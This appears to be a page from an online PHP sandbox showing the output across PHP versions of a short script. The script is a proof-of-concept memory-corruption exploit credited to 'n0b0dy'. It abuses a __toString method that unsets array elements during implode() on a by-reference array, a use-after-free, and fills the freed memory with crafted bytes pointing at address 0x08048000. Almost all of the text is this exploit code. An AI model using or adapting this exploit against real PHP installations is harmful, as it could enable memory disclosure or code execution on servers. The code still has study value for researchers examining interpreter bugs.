- Output for 5.4.0 - 5.4.26, 5.5.0 - 5.5.10
- Fatal error: Call-time pass-by-reference has been removed in /in/TLeel on line 14
Process exited with code 255. - Output for 5.3.0 - 5.3.29
- string(1) ","
<?php
// july 31, memory leak found by n0b0dy; ret2php, AB h4x
class volatile {
public function __toString() {
unset($GLOBALS['arr1'][0]);
unset($GLOBALS['arr1'][1]);
//memory 0x08048000
$GLOBALS['test1'] .= "\x00\x80\x04\x08\xff\xff\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x80\x04\x08\xff\xff\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00";
return '';
}
}
$test1='';
$arr1 = array(new volatile, 1);
$data = implode(",", &$arr1);
var_dump($data);